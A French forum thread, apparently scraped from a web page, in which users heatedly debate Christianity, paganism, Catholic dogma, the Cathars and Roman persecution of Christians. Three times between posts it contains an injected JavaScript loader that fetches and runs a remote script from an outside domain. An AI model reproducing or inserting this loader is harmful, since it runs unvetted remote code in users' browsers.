Je te la laisse volontier cette consistance dogmatique terrestre si tu en as besoin. Je te laisse également occulter le message au profit du dogme.

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Finalement ce que je reproche le plus au christianisme c'est d'avoir diabolisé les anciennes croyances qui respectaient la nature.

Tu veux parler du paganisme ? il ne faut pas avoir peur des mots . L'imposition du christianisme ne s'est pas toujours fait par la force , c'est qu'on essaie de nous faire croire . Si le paganisme respecte la nature , le christianisme a amené le respect de l'homme .

Parce que tu crois que dans les croyances anciennes, il n'y avait pas de respect de l'Homme ?
Non seulement l'homme était respecté mais la femme aussi l'étais, bien plus d'ailleurs que dans les croyances patriarcales que sont les religions issues du judaïsme.

Hummmm ! le christianisme a amené une autre dimension à la valeur de la vie humaine et aux notions même d'humanité sinon quelle différence y aurait-il entre judaïsme et christianisme ?

Quelle différence ? A toi de me le dire, c'est toi qui te revendique du christianisme dogmatique catholique.
Tu pourrais également répondre à la question posée.

haig a écrit:

Mephusteg a écrit:

Je n'ai pas peur du mot paganisme mais je n'aime guère utiliser des mots qui ont pour but de dénigrer certaines personnes de manière confuse et amalgamant diverses croyances. Le paganisme, encore un mot dont le sens a été déformé. Le paganisme en est venu à désigner les polythéistes, et l'ensemble des non-chrétiens dans un grand fatras indescriptible.
Mais à l'origine, l'origine étant l'étymologie, le terme paganisme vient de "paganus" qui signifie rural, rustique, autrement dit ce terme désigne directement les gens proches de la nature, avec une connotation péjorative bien sûr.

Les païens au sens large du terme guerroyaient presque sans cesse mais , il faut le reconnaître bien souvent pour leur survie ou tout simplement pour accroître leurs biens et cela sans souci du "mal".

Tu as une idée assez primitive et simpliste des païens dis-moi. Les païens avaient une culture bien plus riche que tu ne le suggères.
Mais qu'aurais donc changé le christianisme dans la vision que tu donnes ?

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Si l'eglise catholique n'avait pas existé, nombre de persécutions et de massacres n'auraient pas eu lieu, peut-être même que l'Islam n'aurait pas été inventé, la nature aurait été un peu plus préservée et respectée.

Tiens, tiens , d'après toi qui a créé l'Islam ? et qui la manipule aujourd'hui ?et pourquoi faire endosser persécutions et massacres par le christianisme alors que tout cela existait très régulièrement et constamment avant son arrivée ?

Je fais endosser au christianisme ce qui est le fait du christianisme et ce qui s'est fait en son nom, des massacres, des persécutions, des tortures au non d'un soi-disant dieu de paix, de bonté et de miséricorde.
Au moins, les peuples qui se battaient avant le christianisme ne prétendaient pas le faire au nom d'un dieu de paix.

Ah là là , c'est toujours les chrétiens qui ont fait des massacres etc... etc ...mais si tu y regarde de plus près , alors là tu verras que bien souvent les chrétiens ont pris les armes dans le seul but de se défendre et bien des contrées ont été pacifiés grâce à eux .

Je ne dis pas que seuls les chrétiens ont fait des massacres etc, etc, je dis juste qu'il en ont fait au non d'un dieu de paix.
Mais ton discours ne m'étonne pas, le même discours est toujours tenu par ceux qui veulent justifier une colonisation, c'est le même discours que les musulmans justifiant les colonisations qu'ils ont mené au nom de leur foi.

haig a écrit:

Mephusteg a écrit:

Pour l'Islam il existe une théorie qui dit que cette religion aurait été créée par des chrétiens refusant le dogme catholique.

Dernières nouvelles , j'ai entendu d'autres sons de cloche , mais j'aimerais bien en savoir plus sur la théorie que tu proposes , je compte sur toi .

Ce n'est pas moi qui propose cette théorie, elle se trouve dans la série de vidéo que tu peux trouver ici : http://en.gloria.tv/?media=27844

haig a écrit:

Peux tu me dire précisément quels sont ces agissements de l’Église. Le marxisme , oui, lui c'est adossé à la théorie de l'évolution pour se permettre la pollution sans réserves et sans respect des individus .

Le premier agissement étant de dire que l'homme supplante la nature et qu'il aurait des droits sur elle. Cette croyance entraine les mêmes dérives que le marxisme.

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="http://edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

haig a écrit:

Aujourd'hui les Cathares seraient considérés comme une secte extrémiste et .....dangereuse pour notre jeunesse ! Très franchement aimerais - tu vivre comme un "PARFAIT" ? oui , moi aussi j'aurais aimé que l'Eglise Romaine revienne à plus de simplicité mais l'occident coule alors .....
Tu sais , si vraiment tu te proposes d'anéantir le christianisme et particulièrement le Vatican tu pourrais trouver d'autres arguments et ne pas juger sans débattre car ,attention, comment pouvons-nous nous projeter dans l'histoire, à une époque , dans telles ou telles circonstances , assis derrière un écran d'ordinateur sans être vraiment très léger dans nos appréciations et raisonnements ?
Croyants et Parfaits[extrait ]
Les cathares et ceux qu'on appelait « Parfaits » ou « Bonshommes », qui jouaient en quelque sorte le rôle de prêtres, devaient observer des règles très strictes. Ils étaient astreints à jeûner fréquemment, et une série d'aliments leur étaient défendus en temps ordinaire. Ils ne construisaient pas de temples, ils priaient et prêchaient n'importe où, chaque fois que la possibilité s'en offrait. Ils rejetaient tous les sacrements à l'exception du Consolamentum. Elle concernait les croyants désireux de devenir Parfaits (sorte de baptême). Le croyant s'engageait à respecter les règles propre aux Parfaits : ne plus mentir, ni jurer, ne plus avoir de relations sexuelles, régime alimentaire très strict... Recevant l'accolade de ses initiateurs, qui s'agenouillaient ensuite devant lui, le nouveau Parfait était censé sentir descendre sur lui l'Esprit saint. Tant qu'ils purent afficher librement leurs opinions, les cathares s'habillaient de préférence en noir. Après la répression, ils se contentaient de dissimuler une ceinture noire sous leurs vêtements ordinaires.

Pour tout le reste je pense que Mephusteg a tout dit, mais concernant les Cathares Mr haig, je trouve votre avis particulièrement répugnant et complètement anachronique, c'est comme tenir le même raisonnement pour les premièrs chrétiens qui seraient considéré ainsi actuellement comme une organisation religieuse sectaire et extrémement dangereuse et qui aurait justifié que les musulmans par exemple les exterminent jusqu’aux derniers. Car les Cathares ont été persécuté et exterminé durant une période de 20 ans dans tout le sud de la France, rien ne justifie un génocide et certainement pas une soit disant raison spirituelle en faveur de la defense du Vatican et de son histoirique ensanglanté.

J’aurais été honoré d’être ne serait-ce que le gros orteil d’un cathare et jouir de sa vie d’agnostique bien loin de la pourriture mondiale hideuse et monstrueuse que nous appelons notre époque !

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="http://edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Il y a les dogmes catholiques et le message tellement fort que les dogmes sont éclipsés , mais la critique s'accroche au dogme car celui provient de ce qu'on a compris , pas compris et de ce qu'on comprendra .

Si le dogme a éclipsé le message, ne faudrait-il pas abandonné le dogme ?

Pourquoi donc ? il faut parfois une consistance terrestre à la foi , il y a des croyants et des saints qui n'ont pas besoin de fioritures ; les dogmes permettent d'autre part de canaliser les pratiques et évitent toutes dérives .

Je te la laisse volontier cette consistance dogmatique terrestre si tu en as besoin. Je te laisse également occulter le message au profit du dogme.

Ooooooooooh ! je ne faisais qu'une analyse et tu retournes le tout contre moi .

Une analyse ? Je n'ai pas vu d'analyse ici.
Par conte, je viens de m'apercevoir d'une erreur que j'ai faite, tu as dis que le message eclipsait le dogme mais j'ai compris le contraire, à savoir que c'était le dogme qui aurait éclipsé le message, d'ou ma question.

Mais maintenant que j'ai réalisé mon erreur, ma réponse doit être différente. Contrairement à toi, je pense que c'est le dogme qui a éclipsé le message et non l'inverse. Le message du Christ est un message qui n'est pas dogmatique. Il en ressort que tout dogme ne peut QUE déformer et/ou éclipser ce message, ce qui est d'autant plus grave si le dogme s'éloigne du message pour remplir une fonction politique.

haig a écrit:

Ce que je déplore , c'est l'anti-christianisme et l'anti-catholicisme primaire au profit d'un athéisme salvateur que rien ne démontre et que tu ne peux pas démontrer ,mais c'est toujours mieux ailleurs !
Pour tes gouvernes , je ne suis pas pratiquant mais tolérant de toutes les factions chrétiennes et simple chrétien ; suis-je assez transparent ?

Tou d'abord un détail linguistique : on dit "pour ta gouverne" et non "pour tes gouvernes".

Ensuite, je ne suis pas athée et donc si je critique le christianisme ce n'est en aucune manière pour défendre je ne sais quel "athéisme salvateur". Un athéisme qui est né en opposition à l'attitude dogmatique de l'eglise et des autres religions dogmatiques. C'est le dogme qui a engendré l'athéisme.

Si je critique en premier lieu le catholicisme, c'est en raison du fait que le dogme catholique est à l'origine des autres branches du christianisme. Quand je critique le catholicisme, je critique donc par extension les autres branches du christianisme tel qu'on le connait. Mais en réalité, je suis bien plus virulent contre les branches du christianisme qui se concentre sur l'Ancien Testament plutôt que sur le Nouveau.

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

haig a écrit:

(...)Si le paganisme respecte la nature , le christianisme a amené le respect de l'homme .

Parce que tu crois que dans les croyances anciennes, il n'y avait pas de respect de l'Homme ?
Non seulement l'homme était respecté mais la femme aussi l'étais, bien plus d'ailleurs que dans les croyances patriarcales que sont les religions issues du judaïsme.

Hummmm ! le christianisme a amené une autre dimension à la valeur de la vie humaine et aux notions même d'humanité sinon quelle différence y aurait-il entre judaïsme et christianisme ?

Quelle différence ? A toi de me le dire, c'est toi qui te revendique du christianisme dogmatique catholique.

Tu retournes ,encore une fois, mon analyse contre moi ; tu veux me diaboliser ? c'est à la mode aujourd'hui ? gare aux chrétiens , on en est presque là ! La grande différence entre chrétiens judaïsme et islam , c'est la notion de "dernier sacrifice" que l'Islam d'aujourd'hui qui veut s'approprier le christ réfute ....

Je retourne ce que tu appelles ton "analyse" contre toi, car tu me poses une question qui n'a pas grand rapport avec mon commentaire. Je dis que le christianisme est issu du judaïsme, que je met en opposition avec les croyances anciennes (paganistes) et tu me demandes les différence qu'il y aurait entre christianisme et judaïsme.
Tu fais cela sans même répondre à ma question qui pourtant trouvait son origine directement de ton commentaire précédent.

Nous parlions de la différence entre les croyances anciennes des peuples "évangélisés", et voilà que tu fais basculer la discussion vers la différence entre le christianisme et le judaïsme et maintenant tu rajoutes l'Islam.

Cela ne me dérange pas d'avoir une discussion sur ces différences, mais avant cela, il serait de bon ton de finir la discussion concernant le sujet dont nous parlions.

haig a écrit:

Mephusteg a écrit:

Tu as une idée assez primitive et simpliste des païens dis-moi. Les païens avaient une culture bien plus riche que tu ne le suggères.
Mais qu'aurais donc changé le christianisme dans la vision que tu donnes ?

Que tu le réfutes ou non , le christianisme crée un lien entre les humains et apporte les notions de partage et cela dans la recherche de rejet de l'hypocrisie , c'est la notion de main tendue à tous et aujourd'hui cette notion est percutante en occident malgré toute cette diabolisation du christianisme . Mais il faut avoir été chrétien ou croyant ouvert et sincère de toute religion pour appréhender cette notion . Sinon , on en revient à de la politique sans âme , être gagnant à tout prix !

Et puis-je savoir à quel endroit j'aurais réfuté ce dont tu parles ?
Si je réfute une idée, c'est celle qui consiste à dire que le christianisme seul serait à l'origine de ces vertues que tu dis défendre. Je réfute l'idée que le paganisme ne respecte pas l'Homme, Je réfute l'idée que le paganisme n'aurait aucune noblesse, ne combattrait pas l'hypocrisie, et ne contiendrais aucune notion de main tendue et de partage.

Toutes ces vertues que le christianisme devrait défendre ont été foulée au pied par ceux-là même qui auraient dû les défendre
Le christianisme cré des liens mais a aussi souvent était synonyme de guerre.
Le christianisme est dans la recherche du rejet de l'hypocrisie mais son histoire est pleine d'hypocrisie et de diabolisation des croyances différentes.

Je parle ici du christianisme mais j'en aurais tout autant à dire sur d'autre religions du même acabit qui font le contraire de ce qu'elles prêchent !

haig a écrit:

Mephusteg a écrit:

(...)Mais ton discours ne m'étonne pas, le même discours est toujours tenu par ceux qui veulent justifier une colonisation, c'est le même discours que les musulmans justifiant les colonisations qu'ils ont mené au nom de leur foi.

Tu veux parler de l'Empire Ottomans ? oui , comme par hasard c'est toujours et surtout une éradication du christianisme qui les motive . Tous agissent soit par le pourrissement des institutions soit l'occupation larvaire et bien sûr avec la bénédiction des laïcs et païens revanchards !

Pas uniquement l'Empire Ottomans.
Je ne fais partie de ceux qui défendent l'Islam, bien au contraire, mais je comprend ton idée.

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Mephusteg a écrit:

Pour l'Islam il existe une théorie qui dit que cette religion aurait été créée par des chrétiens refusant le dogme catholique.

Dernières nouvelles , j'ai entendu d'autres sons de cloche , mais j'aimerais bien en savoir plus sur la théorie que tu proposes , je compte sur toi .

Ce n'est pas moi qui propose cette théorie, elle se trouve dans la série de vidéo que tu peux trouver ici : http://en.gloria.tv/?media=27844

Je vais voir ça avec beaucoup de prudence ....

"La prudence est mère de sureté".
Il faut regarder ce document avec prudence mais il n'en reste pas moins très intéressant.

haig a écrit:

Mephusteg a écrit:

haig a écrit:

Peux tu me dire précisément quels sont ces agissements de l’Église. Le marxisme , oui, lui c'est adossé à la théorie de l'évolution pour se permettre la pollution sans réserves et sans respect des individus .

Le premier agissement étant de dire que l'homme supplante la nature et qu'il aurait des droits sur elle. Cette croyance entraine les mêmes dérives que le marxisme.

Faudrait-il abandonner la culture , la bio ? tu trouves que faire un beau jardin , c'est supplanter la nature ?

Qui parle d'abandonner la culture ?
la bio ? (qu'est-ce que tu entends par là).

Je n'ai pas dit que faire un beau jardin c'était supplanter la nature, je fais référence à l'idée défendue dans les religions du Livre qui consiste à dire que l'humain aurait une prééminence sur la nature, qu'il lui serait supérieur par injonction divine.

L'humain n'est pas au-dessus de la nature, il en fait partie, il est intrinsèquement liée à son environnement.

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="http://edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

haig a écrit:

[ ]Si tu veux devenir un "Parfait' cathare , tu peux ! mais j'aimerai bien t'y voir ! je ne suis pas d'accord avec leur conception de la vie et tu dois respecter l'opinion des autres . Je ne crois pas que " Dieu" demande la mortification pour lui plaire et cela est valable pour toutes les religions et je désapprouve l'action menée par le pape à l'encontre des cathares . Les saints , pour tes gouvernes , deviennent saints par ce qu'ils ont été , pas en se faisant mousser ......

En ce qui concerne les musulmans et les chrétiens , je suis de ceux dont les parents ont vécu un génocide avec extermination totale par des musulmans dans leur propre pays , alors tes petites phrases .......
Quand tu sauras , mais je ne te le souhaite pas, ce que veut dire ne pas avoir eu de grands parent, d'oncles , de tantes, de cousins , ne plus avoir même de généalogie alors vient me voir pour ta canonisation .[ )

Je m’en fous un peu que toute ta famille a été exterminé par des musulmans ou des stroumphes hystériques, car je ne connais pas les noms des membres de cette famille, je ne sais même pas si cette information est vraie ou vérifiable et elle ne constitue en rien une argumentation supplémentaire dans l’évolution de ce débat. C’est qui est d’autant plus suspicieux, c’est de galvauder la mémoire de ce soi-disant drame familial dans une petite discussion de bistrot sur le web et comme par hasard pour justifier la pertinence de ta compréhension de la soif frénétique de domination de l’église romaine a vouloir exterminer les cathares. D’ailleurs je ne vois même pas le rapport entre le fait que tu n’apprécie pas idéologiquement ce magnifique peuple qu’étaient les cathares et leur génocide, hormis peut-être d’approuver cet acte car c’est l’impression qui en ressort lorsque tu mets en exergue leur comportement religieux dont tu n’as aucune sympathie. C’est une façon de justifier leur extermination en leur cherchant des circonstances aggravantes. C'est pathétique et misérable.

haig a écrit:

Pour tes gouvernes, encore , la plupart des premiers chrétiens ont été martyrisés , crucifiés , pendus par les pieds, jetés aux lions , est-ce que cela te suffit ?

On s’en fout aussi, car ce n’était pas une raison pour condamner à l’extermination d’autre peuple qui ne leur avait rien fait !

Concernant les persécutions chrétiennes perpétrées par les Romains, il y a eut beaucoup de mythe autour de cette période sachant que la société Romaine était tolérante à l’égard des autres religions sauf bien sûr contre les sectes extrémistes et dangereuses. Elle avait tendance à s’accaparer les dieux des peuples conquit pour agrandir leur propre panthéon et permettre aux autres peuples de s’y reconnaitre religieusement et de s’intégrer à l’empire. Alors que les Chrétiens considérés comme une secte juive était tolérée, sauf qu’ils refusaient de participer pas aux fêtes religieuses populaires, procédaient à un prosélytisme frénétique, se moquaient de l’empire et de leur polythéisme et considéraient qu’il fallait reformer tout l’empire sous les bases fondatrices du commandement de la chrétienté.

Pas étonnant dés lors que cette secte faisait des exactions comme tuer des responsables et incendier des mausolées, les autorités romaines ne faisaient pas dans le détail. Les persécutions romaines n’étaient donc pas pour des raisons doctrinales mais d’ordres politiques et publics, et c’était toujours localisé en des lieux précis alors qu’à l’ensemble de territoire romain la cohabitation avec les chrétiens se passaient parfaitement bien avec une expansion de plus en plus grande de ce dernier au point que Constantin Ier se convertit.

http://fr.wikipedia.org/wiki/Persécutions_des_chrétiens

Il y a un passage de wikipedia que j'ai vraiment apprécié :

Citation :

L'histoire canonique, comme l'exégèse canonique, s'exerce dans le cadre de la doctrine des Églises. Pour le christianisme, nombre d'auteurs appartenant à la littérature patristique ont tenté d'écrire des histoires ecclésiastiques dans lesquelles le martyre joue un rôle apologétique, celui de sanctifier l'Église par le sang des martyrs. En effet, la valorisation du martyre appartient au corpus doctrinal tant du catholicisme romain que des églises évangélicalistes.

L'historiographie chrétienne – et donc la très grande majorité des sources, qui s'est développée en même temps que le culte des martyrs, a présenté ces persécutions comme une « politique d'intolérance religieuse, cohérente et systématique », avec une succession chronologique d'oppositions entre « mauvais empereurs » – alternant avec de « bons empereurs » – et martyrs exemplaires, présentation encore courante aujourd'hui.

Je crois que ça sera tout Mr Haig, nous en avons finis !